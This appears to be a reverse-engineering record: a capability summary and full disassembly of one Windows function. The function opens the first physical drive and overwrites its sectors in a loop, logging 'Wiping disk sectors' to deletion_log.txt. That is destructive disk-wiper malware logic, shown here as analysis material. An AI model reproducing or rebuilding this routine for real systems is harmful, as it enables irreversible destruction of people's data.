Function at 0x140001c20
Capabilities:
Get file size
Write file on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov qword [r11 + 0x10], rbx
mov edx, 0xffffffff
mov rbx, rcx
mov qword [r11 - 0x10], r12
mov rcx, qword [0x140007660]
mov qword [r11 - 0x18], r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400043d8]
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001c96
lea r8, str._INFO__Wiping_disk_sectors...
mov rcx, rax
lea rdx, [0x1400043f4]
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov edx, 0x80000000
mov dword [rsp + 0x28], r13d
mov rcx, rbx
mov dword [rsp + 0x20], 3
lea r8d, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001f84
xor eax, eax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x5c], eax
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x48]
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0x78], r14
xor r8d, r8d
mov dword [rsp + 0x28], 0x18
mov edx, 0x70000
mov rcx, r12
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x48], r13d
movups xmmword [rsp + 0x4c], xmm0
mov dword [rsp + 0x40], r13d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001f05
mov ebp, dword [rsp + 0x5c]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x140001ec4
dec eax
xor edx, edx
add eax, ebp
div ebp
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebp
lea edx, [r13 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x140001e7c
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 2]
mov dword [rsp + 0x28], r13d
lea rcx, str..PhysicalDrive0
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001dff
mov edi, r13d
test esi, esi
je 0x140001df4
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r13
mov r8d, ebp
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, rbp
sub rsi, 1
jne 0x140001dc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001e59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__hDevice__Failed_With_Error:__d__n
call fcn.140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400043d8]
mov ebx, eax
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001e59
mov r9d, ebx
lea r8, str.CreateFileW__hDevice_
lea rdx, str._ERROR___s_failed_with_error_code__lu_n
mov rcx, rax
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rdi, r14
mov rcx, rbp
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140001f5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
call fcn.140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400043d8]
mov ebx, eax
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001f5f
lea r8, [0x1400044a0]
jmp 0x140001f44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetFileSize_Failed_With_Error:__d__n
call fcn.140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400043d8]
mov ebx, eax
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001f5f
lea r8, [0x1400044d8]
jmp 0x140001f44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DeviceIoControl_Failed_With_Error:__d__n
call fcn.140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400043d8]
mov ebx, eax
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001f5f
lea r8, [0x140004718]
mov r9d, ebx
lea rdx, str._ERROR___s_failed_with_error_code__lu_n
mov rcx, rdi
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
jmp 0x140001fde
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__filePath__Failed_With_Error:__d__n
call fcn.140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400043d8]
mov ebx, eax
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001fde
mov r9d, ebx
lea r8, str.CreateFileW__filePath_
lea rdx, str._ERROR___s_failed_with_error_code__lu_n
mov rcx, rax
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [0x140007660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [0x1400043d8]
lea rcx, str.deletion_log.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r13, qword [rsp + 0x80]
mov rdi, rax
mov r12, qword [rsp + 0x88]
mov rbx, qword [rsp + 0xa8]
test rax, rax
je 0x14000203e
lea r8, str._INFO__Disk_sectors_wiped.
mov rcx, rax
lea rdx, [0x1400043f4]
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002f80
add rsp, 0x90
pop rdi
ret